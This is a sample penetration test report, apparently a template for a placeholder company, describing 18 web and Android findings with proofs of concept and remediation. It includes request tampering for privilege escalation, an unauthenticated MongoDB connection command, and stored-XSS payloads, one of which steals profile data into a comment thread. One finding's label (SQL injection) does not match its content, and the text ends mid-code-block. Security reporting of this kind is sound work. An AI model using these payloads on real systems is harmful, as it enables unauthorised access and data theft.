INTIGRITI

Pentest Report

Example Comp. Inc.

Creation date: July 1, 2025

Version control

Version	Date	Editor	Overview of changes
0.1	July 1, 2025	John Doe	Created Example Comp. Inc. penetration test report draft.
0.2	July 2, 2025	Jane Doe	Reviewed Example Comp. Inc. penetration test report.
1.0	July 3, 2025	Jane Doe	Finalized Example Comp. Inc. penetration test report.

Table of contents

Introduction

This document is created as evidence for our customer Example Comp. Inc., explaining the results of their penetration test on the Intigriti platform.

Intigriti is a cloud solution, providing an ethical hacking platform to companies that desire a structured bug bounty & penetration test program.

Intigriti's pentest as a service (PTaaS) is delivered via the crowdsourced security platform allowing vetted security researchers to engage and communicate with companies quickly, safely, and reliably, offering live updates and communication about found vulnerabilities.

Based on the customer's predefined scope of the penetration test program, a hand-picked researcher has searched for vulnerabilities and reported their submissions through Intigriti's platform.

Benefits of Intigriti's PTaaS

Penetration test with bug bounty benefits

Intigriti's PTaaS offering consists of a traditional penetration test but with the motivation, live reporting, triage, and rewards of a bug bounty program.

Specialized skills

Penetration testers are hand-picked; selection is based on researcher specialism and activity as well as test criteria.

Transparent researcher selection

Researchers are selected based on previous ratings, quality, motivation, expertise, and skillset.

Work with experts in your field

Gain industry-tailored security insights from researchers who understand your sector's unique challenges and demands: Fintech, Retail, E-commerce, Media, Health, etc.

Highly motivated penetration testers

Researcher receives an effort-based fee based and a capped bounty fee on top for all accepted submissions.

Data-driven platform benefits

All submissions are real-time reported via the Intigriti platform.

Executive summary

In June 2025 Example Comp. Inc. engaged Intigriti to conduct a penetration test with a vetted security researcher specializing in testing the assets in scope.

The assessment followed a black-box methodology, meaning the researcher had no access to source code or in-depth asset documentation. The Intigriti researcher had direct 24/7 access to communication with the Example Comp. Inc. security and development team.

The penetration test resulted in 18 findings: 2 exceptional, 5 critical, 1 high, 6 medium and 4 low vulnerabilities. The most significant issue identified was a vertical privilege escalation vulnerability which would have allowed an attacker to elevate their permissions from ones accessible to the ‘user’ role to the permissions of a full ‘admin’ user. This could have resulted in full account takeover and ownership of the attacker.

The Example Comp. Inc. team, together with Intigriti has identified all steps needed to remediate the found issues. Software fixes will be implemented in accordance with the Example Comp. Inc. vulnerability remediation program to ensure long-term security improvements.

Business risk

The penetration test uncovered several vulnerabilities ranging from low to critical severity. While some individual issues may appear limited in scope, the overall findings demonstrate systemic weaknesses in access control, input validation, authentication mechanisms, and trust boundaries. In combination, these flaws significantly increase the platform's exposure to abuse, data leakage, and unauthorized access.

Access Control and Authentication Weaknesses

Privilege escalation was possible through manipulation of request parameters, cookies, and missing role validations, allowing users with minimal permissions—such as viewers or guests—to gain administrative access. Additionally, 2FA tokens were not bound to users, and permission checks were missing from entire API routes.

Business Risk: These issues compromise user role enforcement and allow unauthorized control over data and administrative functions, threatening operational integrity and regulatory compliance.

Data Exposure and Privacy Risks

Tests revealed that attackers could access user data through broken access controls, enumerate registered email addresses, and retrieve full support chat transcripts via URL manipulation. Stacktraces exposed internal logic, frameworks, and third-party modules.

Business Risk: Exposure of personal data, internal details, and user presence creates legal risk under data protection regulations (e.g. GDPR) and opens the door to social engineering and reputational harm.

Client-Side Execution (XSS)

Stored and reflective XSS vulnerabilities in the commenting functionality allowed execution of malicious JavaScript, leading to data exfiltration, session hijacking, and impersonation.

Business Risk: These issues undermine the confidentiality of user sessions and can damage user trust, particularly on community or customer-facing platforms.

Infrastructure and Platform Abuse

The test also identified misconfigurations such as CAPTCHA bypass, unrestricted file uploads, and control over an unclaimed subdomain. These weaken the platform's defenses against automation and phishing.

Business Risk: Attackers can exploit these vectors to host malicious content, distribute spam, or deliver targeted phishing campaigns under a trusted domain.

Overall Posture

In aggregate, these vulnerabilities indicate a lack of enforcement around key security controls. The ease of chaining findings together presents a credible path to full compromise of user data, backend systems, and administrative functions. The current posture poses a substantial risk to both the platform's security and its reputation.

Remediation advice

To address the identified vulnerabilities and reduce overall risk, the following remediation steps are recommended:

1. **Enforce Server-Side Access Controls**

   Ensure all role-based permissions and authorization checks are implemented on the server for every endpoint. Validate that privilege escalation is not possible through client-modifiable parameters or cookies.

2. **Secure Authentication and 2FA Logic**

   Bind TOTP secrets and tokens to individual users during validation. Standardize all authentication flows to prevent bypasses, and enforce uniform responses to protect against account enumeration.

3. **Sanitize and Encode User Input**

   Apply strict input sanitization and output encoding across all features rendering user-supplied content. Eliminate all forms of XSS by validating inputs and enforcing proper content security headers.

4. **Restrict File Upload and Path Handling**

   Limit upload destinations to fixed, controlled directories. Sanitize filenames and prevent any form of path traversal or overwrite.

5. **Control Exposure of Technical Details**

   Suppress stacktraces and verbose error messages in production. Replace them with generic error responses while logging full errors securely on the backend.

6. **Protect Against Infrastructure Abuse**

   Implement proper CAPTCHA validation using backend checks. Monitor and decommission unused subdomains to prevent domain misuse.

7. **Audit Data Exposure Points**

   Review all endpoints for unauthorized access paths and data leaks. Remove predictable access mechanisms to sensitive resources, and standardize all responses to minimize information leakage.

8. **Monitor and Test Continuously**

   Deploy logging and anomaly detection for high-risk actions such as failed logins, unusual comment activity, and file uploads. Regularly retest authentication, input handling, and access control logic.

Implementing these measures holistically will significantly improve the application's security posture and resilience against abuse, compromise, and data exposure.

Delivery

Goals and objectives

The primary goal of this penetration test was to evaluate whether critical vulnerabilities exist within the application that could lead to significant compromise of user data, system integrity, or platform trust. The assessment was intended to simulate realistic attack scenarios and provide a clear understanding of the business risks associated with potential exploitation.

Key objectives included:

- Determine whether unauthorized users can gain administrative access or escalate privileges through manipulation of client-side inputs or insufficient backend controls.
- Assess whether sensitive user data—such as personal records, session tokens, or credentials—can be accessed or exfiltrated by authenticated or unauthenticated actors.
- Identify any injection points or input handling flaws that could allow remote code execution, cross-site scripting, or full client-side control in user sessions.
- Validate whether access controls and isolation mechanisms effectively prevent horizontal or vertical movement between user accounts and system roles.

This assessment aimed to provide assurance that the most critical attack vectors are mitigated and to highlight any immediate risks requiring remediation.

Assets

Assets in scope

- Domains
    - www.example.com/*
    - www.example2.com/users/*
    - www.subdomain1.example.com/*
    - www.subdomain2.example.com/*

- Android Applications
    - com.example.androidapplication

Timeframe

This penetration test was executed between June 2, 2025, and June 15, 2025. A total of 80 hours of testing was performed on all the assets that were in scope.

Methodology

Based on the defined scope and penetration testing objectives, the assessment was conducted in accordance with the OWASP WSTG and OWASP MASTG testing guides.

Overview

The penetration test followed a structured approach, in line with industry best practices. The testing was divided into key phases to ensure comprehensive coverage of the target environment. These phases included:

1. **Reconnaissance**: Gathering initial information about the target.
2. **Vulnerability Assessment**: Identifying weaknesses within the systems.
3. **Exploitation**: Testing if identified weaknesses could be used to gain unauthorized access.
4. **Post-Exploitation**: Assessing the impact of an exploit and exploring further access.
5. **Reporting**: Documenting the findings and providing recommendations for improvement.

Key Phases

Reconnaissance and Information Gathering

The first phase involved collecting publicly available information about the target. This step helps establish an understanding of the organization's systems and identify potential areas that could be vulnerable to attack.

Vulnerability Assessment

During this phase, the system was scanned for weaknesses that could be exploited. Automated tools were used to identify common vulnerabilities, while manual testing was performed to uncover more complex issues that may have been overlooked by automated scans.

Exploitation

Once vulnerabilities were identified, the next step was to test whether they could be exploited to gain unauthorized access or escalate privileges. This phase aimed to assess the practical risk of the vulnerabilities, testing if an attacker could exploit them successfully.

Post-Exploitation

After gaining access, the post-exploitation phase assessed the extent of the compromise. This included testing the ability to gain higher levels of access or move between systems. It is important to note that all activities during this phase stayed within the boundaries of the agreed-upon testing scope, and no systems or data outside the defined environment were affected. No sensitive data was extracted or modified during the testing.

Reporting and Recommendations

The final phase involved documenting the findings of the test. Each identified vulnerability was ranked according to its potential risk and impact. For each vulnerability, clear recommendations were provided to help address the issues and improve overall security.

A complete checklist of tests performed is available in the appendix.

Personnel

Researcher

	Researcher details
Username	Security_researcher_1
Intigriti ranking all time	#1
Reputation all time	1337 pts
Current submission streak	Exceptional
Profile	https://app.intigriti.com/profile/security_researcher_1

Findings

Finding overview

During this penetration test, a total of 18 vulnerabilities were identified. An overview of all vulnerabilities is broken down by severity and asset in the table below:

Assets in scope	Informative	Low	Medium	High	Critical	Exceptional	Total
https://example.com	0	2	2	0	3	1	8
www.subdomain1.example.com/*	0	0	4	1	1	0	6
com.example.androidapplication	0	2	0	0	1	1	4
Total	0	4	6	1	5	2	18

The accepted vulnerabilities broken down per vulnerability type:

Vulnerability type	Informative	Low	Medium	High	Critical	Exceptional	Total
Vertical Privilege Escalation	0	0	0	0	0	2	2
Blind SQL-Injection	0	0	0	0	1	0	1
Unauthenticated access to public MongoDB instance	0	0	0	0	1	0	1
Insecure Direct Object Reference	0	0	0	0	3	0	3
Subdomain Takeover	0	0	0	1	0	0	1
Business Logic Error	0	0	1	0	0	0	1
Improper Access Control	0	0	1	0	0	0	1
Stored Cross-Site Scripting	0	0	4	0	0	0	4
Broken Access Control	0	1	0	0	0	0	1
Sensitive Data Exposure	0	1	0	0	0	0	1
Security Misconfiguration	0	1	0	0	0	0	1
Path Traversal	0	1	0	0	0	0	1
Total	0	4	6	1	5	2	18

Finding Details

This section provides an in-depth look at all vulnerabilities which have been discovered throughout this penetration test. The list of vulnerabilities has been prioritized following the severity level of each finding starting with the most critical one on top. Each vulnerability found is presented with the following information:

- Affected asset
- Vulnerability type
- Severity of the vulnerability
- CVSS vector
- Proof-of-concept
- Impact
- Remediation advice

EXCOMINC-ZBW33H4G

Metadata:

Field	Value
Vulnerability type:	Vertical Privilege Escalation
Severity:	Exceptional
CVSS score (vector):	9.8
Endpoint / vulnerable component:	www.example.com/login

Proof of concept:

An authenticated user with the "viewer" role navigates to the user administration interface. During a role update request, they intercept the POST request to the endpoint:

```
POST /user/admin
```

By modifying the body of the request to include the following parameter:

```
{
  "userId": 42,
  "rolePermMatrix": 1
}
```

the user is able to escalate their privileges to an admin role. Upon reloading the application or accessing restricted functionalities, the user's access rights reflect administrative privileges, despite lacking authorization.

This change can be executed using tools such as Burp Suite, Postman, or browser developer tools with network interception.

Impact:

This vulnerability enables a low-privileged user to perform unauthorized privilege escalation, gaining full administrative access to the application. As an admin, the user can:

- Access, modify, or delete all user data
- Manage roles and permissions

- Potentially access sensitive system configurations
- Bypass intended business logic and access controls

The lack of server-side validation for role assignment exposes the application to complete access control compromise and data integrity threats, potentially breaching regulatory compliance (e.g., GDPR).

Recommended solution:

- Enforce Role-Based Access Control (RBAC) on the Server:
    - Ensure that any role changes — especially elevation to privileged roles — are validated server-side, independently of client-side inputs.
- Implement Authorization Checks:
    - Only users with appropriate permissions (e.g., existing admins) should be able to update roles or access the rolePermMatrix parameter. This check must be performed on the backend.
- Harden API Endpoints:
    - Sanitize and validate all incoming requests, ignoring or rejecting unauthorized parameters like rolePermMatrix if the user lacks the required privileges.
- Audit Logs & Alerting:
    - Log all role changes with user IDs, source IPs, and timestamps. Set up anomaly detection or alerting mechanisms for privilege changes triggered by non-admin users.

EXCOMINC-47ISHSLJ

Metadata:

Field	Value
Vulnerability type:	Vertical Privilege Escalation
Severity:	Exceptional
CVSS score (vector):	9.5
Endpoint / vulnerable component:	com.example.androidapplication

Proof of concept:

Upon visiting the application for the first time as an unauthenticated guest, the server issues a cookie with the following structure:

```
Set-Cookie: userRole=guest; Path=/; HttpOnly
```

By intercepting the request using a browser extension or proxy tool (e.g. Burp Suite), the attacker modifies the cookie value before making a subsequent request:

```
Cookie: userRole=admin
```

Despite not being authenticated or registered, the application accepts the modified cookie and grants administrative access, exposing privileged functionality through the user interface and API responses.

After this manipulation, the guest user is able to:

- Access administrative dashboards
- Edit or delete existing records
- Perform data modifications across the platform
- View restricted user information

This behavior was reproducible without requiring authentication, session tokens, or server-side validation.

Impact:

The vulnerability allows any unauthenticated or guest user to gain full administrative privileges by simply modifying a client-side cookie. This results in:

- Complete loss of access control integrity: Privileges are assigned based on a manipulable cookie with no backend validation.

- Unauthorized data manipulation: Guest users can modify or delete content and user records platform-wide.
- Exposure of sensitive functionalities: Admin-only tools, settings, and data views become publicly accessible.
- High risk of malicious misuse: A low-effort attack vector that can be automated for mass exploitation.

This issue effectively eliminates all trust boundaries between user roles, leaving the system open to abuse, vandalism, and data leakage.

Recommended solution:

- Enforce Server-Side Role Validation: Never rely on client-side mechanisms (such as cookies) to enforce user roles or permissions. All access control decisions must be verified on the server.
- Use Secure, Signed Session Tokens: Store role and identity information in signed tokens (e.g., JWTs) or server-side sessions that cannot be tampered with on the client.
- Implement Role-Based Access Control (RBAC): Introduce backend authorization logic that restricts access to admin features based on the user's authenticated role.
- Invalidate Unsigned or Unexpected Cookies: Ensure that manually altered or malformed cookies are rejected outright. Consider expiring guest tokens after short periods of inactivity.
- Log and Monitor Role Elevation Attempts: Implement logging for any unexpected role assignments, particularly those originating from unauthenticated sources or malformed headers.
- Security Test Authentication Flows: Regularly audit cookie handling, session management, and role enforcement logic through penetration testing and code review.

EXCOMINC-H74GGXBW

Metadata:

Field	Value
Vulnerability type:	Blind SQL-Injection
Severity:	Critical
CVSS score (vector):	9.1
Endpoint / vulnerable component:	www.subdomain1.example.com/*

Proof of concept:

During testing, it was discovered that an attacker with valid credentials could extract the entire contents of the database by abusing a misconfigured API endpoint. The endpoint:

```
GET /api/export/database
```

was found to be accessible without proper authorization checks. Any authenticated user, regardless of role, could invoke this endpoint and receive a full export of user records, application data, and system metadata.

A sample request:

```
GET /api/export/database HTTP/1.1
Host: example-app.com
Authorization: Bearer [valid_token]
```

The server responded with a full dataset in JSON format containing user profiles, internal configuration settings, and transaction logs. No rate-limiting or logging mechanisms appeared to be in place for this endpoint.

Impact:

This vulnerability allows any authenticated user to perform a full database export, regardless of their access level. The implications are severe:

- Confidentiality breach: Sensitive data such as personal user information, hashed passwords, internal notes, and email addresses can be harvested in bulk.
- Intellectual property exposure: Proprietary business logic, settings, or other internal configurations may be exposed in the dump.
- Data privacy violations: Unauthorized access to PII may result in non-compliance with data protection laws such as GDPR, CCPA, or HIPAA, depending on jurisdiction.

- Potential for secondary attacks: Data obtained can be used for credential stuffing, phishing, or social engineering attacks targeting users or staff.

Given that the endpoint does not limit access based on user role or IP range, this presents a clear risk of mass data exfiltration by a low-skilled threat actor.

Recommended solution:

- Restrict Access to Sensitive Endpoints: Endpoints that expose large amounts of data, such as /export/database, should only be accessible to privileged admin roles. Implement proper role checks server-side.
- Apply Principle of Least Privilege (PoLP): Ensure that users can only access resources strictly necessary for their role. Avoid blanket permissions on authenticated endpoints.
- Implement Rate Limiting and Monitoring: Protect sensitive endpoints with rate limits, and monitor access patterns. Set up alerts for unusual activity, such as bulk data access.
- Log and Audit Access: All attempts to access export functionalities should be logged with user identity, timestamp, and IP address. Include these logs in routine audits.
- Security Testing and Code Review: Conduct regular penetration tests and source code reviews to identify misconfigured endpoints or missing authorization checks.
- Data Encryption and Masking (Optional): Consider encrypting sensitive fields at rest and masking high-risk data in debug or non-production environments to reduce exposure.

EXCOMINC-SU28DJUI

Metadata:

Field	Value
Vulnerability type:	Unauthenticated access to public MongoDB instance
Severity:	Critical
CVSS score (vector):	9.0
Endpoint / vulnerable component:	com.example.androidapplication

Proof of concept:

During testing, it was observed that the MongoDB instance used by the application was publicly accessible over the internet at:

```
mongodb://db.example.com:27017
```

No authentication was required to establish a connection. Using a basic MongoDB client (such as mongosh, MongoDB Compass, or mongo-express), the attacker could connect anonymously:

```
mongosh "mongodb://db.example.com:27017"
```

Upon connection, the attacker was able to list databases, inspect collections, and query for records, including sensitive user data, configuration values, and internal logs. No firewall restrictions or access control mechanisms were in place to prevent external connections from untrusted sources.

Impact:

This vulnerability enables any unauthenticated attacker on the internet to directly access and query the backend database. The consequences are severe:

- Exposure of all stored data including user profiles, emails, password hashes, session tokens, and potentially PII
- Ability to enumerate, modify, or delete database content without triggering application-level access controls
- Risk of data corruption or loss through unintended or malicious modification
- Potential for ransomware-style attacks, where data is downloaded and deleted with demands for payment
- Violation of data protection obligations and regulatory requirements due to unrestricted access to sensitive information

Because no application-layer logic is required to exploit this issue, it presents a zero-interaction, high-impact attack surface.

Recommended solution:

- Require authentication on all database instances. Enforce credentials for all connections, and assign roles with least-privilege access.
- Bind the MongoDB service to a private network or localhost. Avoid exposing ports (default 27017) to the public internet unless absolutely necessary.
- Restrict external access using firewall rules or security groups, allowing connections only from specific internal IPs or subnets.
- Enable MongoDB access control and audit logging features to track database interactions and identify unauthorized access attempts.
- Regularly scan infrastructure for open ports and publicly exposed services, particularly on development or staging environments.
- Review database deployment and configuration procedures to ensure security best practices are consistently applied.

EXCOMINC-8SI29UI

Metadata:

Field	Value
Vulnerability type:	Insecure Direct Object Reference
Severity:	Critical
CVSS score (vector):	9.0
Endpoint / vulnerable component:	www.example.com

Proof of concept:

The application exposes an API endpoint used to retrieve user profile information:

```
GET /api/users/{userId}/profile
```

During testing, it was observed that this endpoint did not implement proper authorization checks. Once authenticated, a user could replace the `userId` parameter in the URL with the identifier of another user and receive their profile data in the response.

For example, a request like:

```
GET /api/users/153/profile
```

would return the full personal record of user ID 153, including name, email, phone number, address, and other personal metadata, regardless of the requester's role or ownership of that data.

The vulnerability was reproducible across multiple user accounts and did not rely on elevated privileges.

Impact:

The flaw allows any authenticated user to retrieve personal records of other users without authorization. This breaks user isolation and data confidentiality, with the following consequences:

- Exposure of personally identifiable information such as names, email addresses, and contact details
- Risk of targeted phishing, social engineering, or harassment using leaked personal data
- Potential legal and regulatory implications due to violation of privacy requirements under laws like GDPR, CCPA, or HIPAA
- Erosion of user trust and reputational damage for the platform
- Possibility of user enumeration attacks, where attackers iterate over IDs to build a complete user directory

If the endpoint returns additional metadata such as preferences, internal notes, or activity logs, the risk profile increases further.

Recommended solution:

- Enforce ownership-based access controls. Ensure that users can only retrieve or modify data that belongs to their own account.
- Implement proper authorization checks at the controller or service level, not just within the frontend.
- Use consistent access control middleware or decorators to prevent logic gaps across endpoints.
- Apply object-level permission checks, particularly when using ID-based access patterns in REST APIs.
- Include automated security tests or authorization validation checks in CI pipelines to detect broken access controls early.
- Log access to sensitive endpoints and set up alerts for suspicious activity such as repeated access to multiple user profiles.

EXCOMINC-OIC2SKL9

Metadata:

Field	Value
Vulnerability type:	Insecure Direct Object Reference
Severity:	Critical
CVSS score (vector):	9.0
Endpoint / vulnerable component:	www.example.com

Proof of concept:

The application provides support chat functionality through a URL-accessible transcript viewer, for example:

https://support.example.com/chat/transcript/abc123

During testing, it was discovered that these transcript URLs follow a predictable or semi-guessable pattern, and that no authentication or access control mechanisms were in place to verify the viewer's identity.

By modifying the last segment of the URL ('abc123') to a different identifier—either by brute force, enumeration, or guessing—an attacker was able to retrieve chat transcripts from other users' support sessions:

https://support.example.com/chat/transcript/abc124

These transcripts included sensitive discussions between users and support staff, sometimes containing personal data, account information, or internal system messages.

No rate-limiting, session validation, or token-based access control was in place to prevent unauthorized users from retrieving other users' conversations.

Impact:

This issue allows any unauthenticated or authenticated user to access confidential support transcripts by altering the URL. The consequences are significant:

- Disclosure of sensitive support information including personal data, troubleshooting details, and internal operational insights
- Potential violation of privacy laws due to exposure of user support content without consent
- Risk of reputational damage as affected users may lose trust in the platform's ability to safeguard private communications

- Possibility of indirect exploitation if transcripts contain links, credentials, or information leading to further compromise
- Increased likelihood of targeted attacks using contextual information extracted from prior support interactions

The lack of proper access controls combined with predictable URL schemes creates a high-impact, low-effort attack surface.

Recommended solution:

- Require authentication and access checks before displaying any support transcript content. Transcripts should only be accessible to the user or staff member directly involved.
- Use access tokens or cryptographically secure identifiers that are not guessable or sequential. Avoid exposing internal IDs in URLs.
- Implement short-lived, one-time-use links with expiration windows for transcript access if needed for email-based retrieval.
- Apply rate limiting and monitoring on endpoints serving sensitive resources, with logging of failed or unusual access attempts.
- Consider encrypting transcript data at rest and masking sensitive portions when retrieved in shared or low-trust contexts.
- Periodically audit access to historical support conversations and remove or archive those that are no longer required.

EXCOMINC-UU7LF88U

Metadata:

Field	Value
Vulnerability type:	Insecure Direct Object Reference
Severity:	Critical
CVSS score (vector):	9.0
Endpoint / vulnerable component:	www.example.com

Proof of concept:

The application uses a front-end interface to display inventory data via asynchronous requests to a backend API. The following request is used to retrieve inventory records:

```
POST /api/inventory/view
Content-Type: application/json
```

Request body:

```
{
  "filter": "available"
}
```

During testing, it was found that this request could be manipulated to access unintended backend resources. By modifying the request structure and parameters, the attacker was able to bypass filters and gain deeper access:

```
{
  "filter": "all",
  "debug": true,
  "include": ["system_tables", "config"]
}
```

In some cases, altering the endpoint path to a guessed or undocumented version (e.g., '/api/inventory/admin/dbdump') returned full backend database dumps, including internal configuration data, raw inventory records, pricing data, and metadata not intended for frontend users.

No authorization or input validation was enforced on these endpoints, allowing any authenticated user—or in some configurations, unauthenticated users—to reach critical database structures via crafted requests.

Impact:

This vulnerability exposes backend systems that were never meant to be publicly accessible or reachable through the frontend. Consequences include:

- Full exposure of inventory data, including sensitive business details such as supplier information, pricing models, and stock levels
- Access to internal database structures and potentially sensitive application configurations
- Risk of data modification or deletion if unsafe write operations are available through similar unprotected endpoints
- Possibility of chaining this access with other vulnerabilities for deeper exploitation, such as privilege escalation or remote code execution
- Violation of data segregation expectations and potential compliance issues in regulated industries (e.g., pharmaceuticals, retail, logistics)

The backend exposure poses a risk not only to confidentiality but also to the integrity and availability of the inventory system.

Recommended solution:

- Enforce strict backend access control. API endpoints accessing sensitive systems must validate the user's role and only allow access based on the principle of least privilege.
- Apply whitelisting and schema validation to request payloads. Only allow expected parameters and reject any additional or malformed fields.
- Use endpoint segmentation and firewall rules to prevent non-public APIs from being exposed to external clients.
- Audit all API endpoints and remove or protect debug or internal-use routes. Disable verbose error handling and debug modes in production.
- Monitor inventory access logs and set up anomaly detection to alert on unusual patterns, such as non-standard filters or excessive data requests.

EXCOMINC-WUV722JK

Metadata:

Field	Value
Vulnerability type:	Subdomain Takeover via dangling DNS record
Severity:	High
CVSS score (vector):	8.8
Endpoint / vulnerable component:	www.subdomain1.example.com/*

Proof of concept:

The subdomain support.example.com was found to be pointing to a third-party hosting service (AWS S3), but no valid resource was linked to the configured CNAME. DNS resolution confirmed that the subdomain remained active despite the absence of hosted content.

To verify the risk, a new S3 bucket was created using the name specified in the CNAME configuration. As soon as the bucket was provisioned, all requests to support.example.com began resolving to this bucket, confirming the ability to control content served under the company's trusted subdomain.

A test HTML page was uploaded to demonstrate content delivery. This page could be used to serve phishing content, deploy malicious JavaScript, or impersonate company interfaces without triggering browser security warnings. The test confirmed that the subdomain was fully functional and indistinguishable from legitimate internal resources from a user perspective.

No authentication or ownership verification mechanism was in place to prevent takeover, and the risk applies to any user or integration relying on the integrity of this subdomain.

Impact:

Controlling the subdomain allowed unrestricted delivery of content under the company's domain name. This creates multiple vectors for abuse:

- Company users or third parties interacting with the subdomain may trust it implicitly, making it a viable channel for phishing attacks or credential harvesting.
- JavaScript loaded from the controlled subdomain could be used to interact with other parts of the application if protections such as CSP or SameSite cookies are not strictly enforced.
- If cookies are scoped to the parent domain and are not marked with appropriate security flags, it may be possible to extract session tokens and perform account takeovers.
- The subdomain could also be used to bypass email or security filters, allowing convincing social engineering attacks to reach internal or external stakeholders.

This issue constitutes a loss of control over part of the application's trust boundary, with a high potential for user impact and reputational harm.

Recommended solution:

- Remove DNS records for any subdomains that are no longer actively used or maintained.
- For subdomains that need to point to third-party services, ensure the external resource is fully claimed, monitored, and ownership-validated.
- Implement continuous monitoring for DNS entries pointing to decommissioned or vulnerable hosting targets.
- Where possible, configure security mechanisms such as Content Security Policy (CSP), Strict-Transport-Security (HSTS), and cookie scoping to reduce the blast radius in case of subdomain misuse.
- Maintain an up-to-date inventory of subdomains and the services they reference to ensure changes in infrastructure do not introduce exposure points.

EXCOMINC-LO19FUQP

Metadata:

Field	Value
Vulnerability type:	Business Logic Error
Severity:	Medium
CVSS score (vector):	6.9
Endpoint / vulnerable component:	www.example.com

Proof of concept:

The application implements 2FA using time-based one-time passwords (TOTP), typically generated from a shared secret stored on the user's profile. During testing, it was found that the TOTP validation endpoint did not verify whether the token being submitted was tied to the correct user.

To demonstrate this, a test user ('userA') was enrolled in 2FA, and the TOTP secret was saved locally:

```
Secret for userA: JBSWY3DPEHPK3PXP
```

Using this secret, a valid TOTP token was generated at the time of login using a standard TOTP generator:

```
Token: 348921
```

The following request was then made to the TOTP verification endpoint after authenticating as a different user (`userB`):

```
POST /api/2fa/verify
Content-Type: application/json
Authorization: Bearer [access_token_for_userB]

{
  "token": "348921"
}
```

The server accepted the token and granted access, despite the token being generated using the secret for 'userA'. No check was performed to ensure the submitted token matched the secret configured for 'userB'.

This confirmed that token validation was applied globally rather than per user, allowing any valid token from a known or guessable secret to be reused across unrelated accounts.

Impact:

The 2FA mechanism does not enforce user-specific token validation, allowing a token generated from one user's TOTP secret to be reused across different accounts. This introduces several high-risk consequences:

- If a TOTP secret is compromised, it can be used to bypass 2FA for any other user, not just the original account holder.
- Brute-forcing or recovering one secret can give access to other accounts, making lateral movement trivial.
- The 2FA process no longer provides effective second-factor protection, defeating its intended purpose.
- High-privilege accounts are especially at risk if any one low-privileged user's secret is exposed or reused.

This effectively breaks the trust model for TOTP-based 2FA and results in a high-severity authentication bypass vulnerability.

Recommended solution:

- During 2FA verification, always validate the submitted TOTP token against the secret associated with the user currently being authenticated.
- Enforce a unique TOTP secret per user and store secrets securely using encryption.
- Disallow shared or default TOTP secrets and monitor for re-use patterns across accounts.
- Implement audit logging for all 2FA events, including which user submitted a token and whether it was accepted or rejected.
- Consider implementing rate limiting on the TOTP verification endpoint to reduce the impact of brute-force attempts.
- Encourage re-enrollment of TOTP for all users after remediating the implementation flaw, and monitor for abnormal token reuse during the transition.

EXCOMINC-KK27VK9U

Metadata:

Field	Value
Vulnerability type:	Improper Access Control
Severity:	Medium
CVSS score (vector):	6.5
Endpoint / vulnerable component:	www.subdomain1.example.com/*

Proof of concept:

The application defines a permission-based access model for API usage, restricting endpoints to specific user groups. However, it was discovered that the endpoints under the following path:

```
/api/example/read/*
```

could be accessed without having the required permission group assigned.

To validate this, a test account without any elevated permissions was used. The account did not belong to the expected group (e.g. 'readExampleGroup') that should be required to access these endpoints.

The following request was issued:

```
GET /api/example/read/summary
Authorization: Bearer [low_privilege_token]
```

The server returned a full response with content normally gated behind group-level access. Additional requests confirmed that this was not an isolated case:

```
GET /api/example/read/internal-data
GET /api/example/read/stats
GET /api/example/read/records?id=104
```

All requests succeeded and returned valid data, despite the user lacking the permission group required to view this information. No authorization check appeared to be enforced for any endpoint under the `/api/example/read/` path.

Impact:

The absence of permission checks on these endpoints allows unauthorized users to access sensitive or internal data. The impact includes:

- Exposure of internal or restricted data to unintended users

- Breach of data access policies, especially if the information is meant for specific departments or user roles
- Possibility of information leakage that could be used for further attacks, such as understanding data structures, internal metrics, or business intelligence
- Inconsistent enforcement of access control, leading to uncertainty about what data is actually protected

If these endpoints are assumed to be protected and relied on for internal decision-making or automation, this weakness could lead to incorrect assumptions about data confidentiality or integrity.

Recommended solution:

- Implement role or group-based authorization middleware across all endpoints, including read-only paths under `/api/example/read/`
- Perform a full audit of all API routes to identify similar cases where access control may be missing or inconsistently applied
- Apply automated tests or static analysis tools that validate endpoint protection and reject deployments where access rules are absent
- Avoid assuming that “read” operations are low-risk and always validate permissions consistently, even for non-modifying endpoints
- Introduce centralized access control logic (e.g. decorators or middleware) rather than leaving checks to individual handlers or routes
- Log unauthorized access attempts to detect misuse and validate remediation coverage post-fix

EXCOMINC-89SUIKQN

Metadata:

Field	Value
Vulnerability type:	Stored Cross-Site Scripting
Severity:	Medium
CVSS score (vector):	6.3
Endpoint / vulnerable component:	www.subdomain1.example.com/*

Proof of concept:

The application includes a threaded comment feature that allows users to reply to discussion posts using rich-text input. During testing, it was found that the input field for new comments failed to sanitize embedded JavaScript code.

To confirm the vulnerability, a payload was submitted as a comment:

```
<script>
  fetch('/api/user/profile')
    .then(res => res.json())
    .then(data => {
      fetch('/api/thread/comment', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          threadId: 132,
          comment: 'Leaked data: ' + JSON.stringify(data)
        })
      });
    });
</script>
```

After submission, any user who viewed the comment thread triggered the payload in their browser. Their personal profile data (fetched from /api/user/profile) was extracted and posted back into the same thread as a new comment. This demonstrated the ability to steal data from authenticated users and publish it automatically without their knowledge.

The script executed within the user's session and inherited their permissions, enabling access to any data available via frontend APIs.

Impact:

This vulnerability allows the injection and execution of JavaScript in other users' browsers, leading to full cross-site scripting (XSS) impact. The demonstrated exploitation shows:

- Exfiltration of private user information through automated requests
- Unauthorized posting of sensitive content under the victim's identity
- Persistent, self-propagating behavior as the malicious comment injects more data into the thread on each view
- Violation of user privacy and trust, with potential for reputational and legal consequences

If sensitive APIs or privileged roles are targeted, the attack can result in lateral movement, privilege abuse, or full account compromise.

Recommended solution:

- Apply server-side HTML and JavaScript sanitization to all user-submitted content in comment threads, especially where rich text or formatting is allowed
- Use a well-maintained sanitization library (e.g. DOMPurify) to strip or neutralize script elements, event handlers, and dangerous attributes
- Enforce content security policies (CSP) to restrict script execution sources and reduce the impact of injected code
- Escape dynamic content when rendering user input on the frontend, following proper output encoding strategies for HTML, JavaScript, and attributes
- Consider using strict input validation or WYSIWYG editors that disallow raw HTML input altogether
- Perform XSS-focused testing on all input fields that render user content in the browser, particularly in collaborative or social features

EXCOMINC-NM23FLIO

Metadata:

Field	Value
Vulnerability type:	Stored Cross-Site Scripting
Severity:	Medium
CVSS score (vector):	6.3
Endpoint / vulnerable component:	www.subdomain1.example.com/*

Proof of concept:

The application allows users to post comments on threads using a text input field that supports HTML content. During testing, it was found that the input field failed to properly sanitize embedded script content.

A test payload was submitted through the comment form:

```
<script>alert('XSS')</script>
```

After submission, this payload was rendered as-is when the comment was loaded in the browser, immediately triggering a JavaScript alert dialog. This confirmed that the application rendered user input without escaping or filtering potentially dangerous elements.

Additional payloads were tested and successfully executed, including more complex scripts such as:

```
